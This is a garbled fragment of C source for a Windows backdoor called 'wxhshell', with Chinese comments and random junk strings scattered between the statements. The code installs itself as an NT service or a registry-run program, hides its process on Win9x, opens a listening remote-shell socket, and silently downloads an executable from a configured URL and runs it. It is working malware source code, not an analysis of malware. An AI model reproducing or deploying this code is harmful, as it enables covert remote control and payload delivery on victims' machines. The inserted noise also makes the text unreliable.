Cu," ]9 ArT$ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D2@J4;UW*W if(hProcess==NULL) return 0; O 8\wH )[Bl3+' HMODULE hMod; Q|CLis- char procName[255]; uQ_s$@brI unsigned long cbNeeded; *%(BE*C} [8h~:.d` if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M?nYplC ({5`C dVi CloseHandle(hProcess); xc&&UKd U.kTdNSp if(strstr(procName,"services")) return 1; // 以服务启动 gE}+`w/X 5?yc*mOZ return 0; // 注册表启动 Xh[02iL- } &3:U&}I v?)u1-V0 // 主模块 ;r1.Uz( int StartWxhshell(LPSTR lpCmdLine) NmH:/xU?^ { kzb%=EI SOCKET wsl; ^=1:!'*3D BOOL val=TRUE; 7/UdE:~]*= int port=0; ITmW/Im5 struct sockaddr_in door; (v2.8zrJ U~}cib5W5 if(wscfg.ws_autoins) Install(); (TF;+FRW PIthv[F port=atoi(lpCmdLine); $.g)%#h: +Y9n@` if(port<=0) port=wscfg.ws_port; 5{.g~3" iDdmr32E WSADATA data; h=7eOK] if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; tnn,lWu| ,xzSFs>2 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; @Q%g#N setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); o(|fapK. door.sin_family = AF_INET; GQvJj4LJp door.sin_addr.s_addr = inet_addr("127.0.0.1"); Wb7z&vj door.sin_port = htons(port); 7XDze(O5 ZQ_&HmgRy if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `SN?4;N0 closesocket(wsl); yJMHm8OB7 return 1; q]}1/JZS } hj*Fn <8?jn*$;\ if(listen(wsl,2) == INVALID_SOCKET) { yClbM5, closesocket(wsl); ;'fn{j6C return 1; C>0='@LB@r } 'C")X Wxhshell(wsl); l0sBXs`3b WSACleanup(); /Sn>{ & Qk_Mx" return 0; |Ox!tvyr "KhVS } mz<wYV* giNyD4uO // 以NT服务方式启动 ZBf9Upg VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *9?T?S|^$F { -AX[vTB DWORD status = 0; bpv?$j-j DWORD specificError = 0xfffffff; 2{gd4Kt6. q*36/I serviceStatus.dwServiceType = SERVICE_WIN32; <M,A:u\qSQ serviceStatus.dwCurrentState = SERVICE_START_PENDING; \.AI;^)X@] serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L[LgQ7esQ serviceStatus.dwWin32ExitCode = 0; ;i,:F`b~ serviceStatus.dwServiceSpecificExitCode = 0; MV,;l94?%= serviceStatus.dwCheckPoint = 0; 8>(DQ"h serviceStatus.dwWaitHint = 0; OD~TWT_ zm9_[0 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s(3iGuT if (hServiceStatusHandle==0) return; /EXubU73 L3
VyW8Y status = GetLastError(); l*0`{R if (status!=NO_ERROR) A>OGU ^ { %x5zs ]4^ serviceStatus.dwCurrentState = SERVICE_STOPPED; ,VTX7vaH serviceStatus.dwCheckPoint = 0; j}devpO serviceStatus.dwWaitHint = 0; VJ'bS9/T serviceStatus.dwWin32ExitCode = status; |:{H4 serviceStatus.dwServiceSpecificExitCode = specificError; Dn9AOi! SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZR|cZH1}C return; =nTNL .SX } |vLlEN/S u}L;/1,B serviceStatus.dwCurrentState = SERVICE_RUNNING; A!\-e*+W= serviceStatus.dwCheckPoint = 0; GSh~j-C' serviceStatus.dwWaitHint = 0; i)[8dv if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); G._E9 } b#2$Pd:( Db5y";T // 处理NT服务事件,比如:启动、停止 G'\x9% VOID WINAPI NTServiceHandler(DWORD fdwControl) ::Nhs/B/ { 5 Y|(i1 switch(fdwControl) a|s64+ { `=B0NC.3 case SERVICE_CONTROL_STOP: j & x=?jX serviceStatus.dwWin32ExitCode = 0; ]*Tnu98G} serviceStatus.dwCurrentState = SERVICE_STOPPED; _?IP}} jA: serviceStatus.dwCheckPoint = 0; )ZP-t!).G# serviceStatus.dwWaitHint = 0; 8pQ:B/3= { i H^Gv * SetServiceStatus(hServiceStatusHandle, &serviceStatus); + mqz)-x } 5{@Hpj/B return; xr<.r4 case SERVICE_CONTROL_PAUSE: ,7{}}l serviceStatus.dwCurrentState = SERVICE_PAUSED; df$VC break; '+Gy)@c case SERVICE_CONTROL_CONTINUE: U $ bLt serviceStatus.dwCurrentState = SERVICE_RUNNING; |k-IY]6 break; :d5fU: case SERVICE_CONTROL_INTERROGATE: ]F]!>dKA break; |,G=k,?_p }; OlV'#D
SetServiceStatus(hServiceStatusHandle, &serviceStatus); V`7^v: } )&$Zt( "
~X;u8m // 标准应用程序主函数 1~x=bphS int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) JnT1-=t. { @}^eyS$|! TP5?%SlJ // 获取操作系统版本 dLtn,qCX0^ OsIsNt=GetOsVer(); "Y7
]t:8 GetModuleFileName(NULL,ExeFile,MAX_PATH); 3X,SCG =?, dX // 从命令行安装 tUp'cG if(strpbrk(lpCmdLine,"iI")) Install(); ]DaC??%w NP {O // 下载执行文件 >cEB,@~ if(wscfg.ws_downexe) { D}| 30s?u1 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) xlH?J;$ WinExec(wscfg.ws_filenam,SW_HIDE); q[}[w! to } hR] AUH 8O)!{gB if(!OsIsNt) { )=
,Lfj8x // 如果时win9x,隐藏进程并且设置为注册表启动 #O
|Z\|n HideProc(); mOUIGlv StartWxhshell(lpCmdLine); EK:s# } pNHO;N[& else >^ E if(StartFromService()) : cmQ
w // 以服务方式启动 ``:AF: StartServiceCtrlDispatcher(DispatchTable); Ofyz,%
|Q else %Ny`d49& // 普通方式启动 \3ZQ:E}5 StartWxhshell(lpCmdLine); l5m5H,` MZ8jL,a^ return 0; .skR4f,h }
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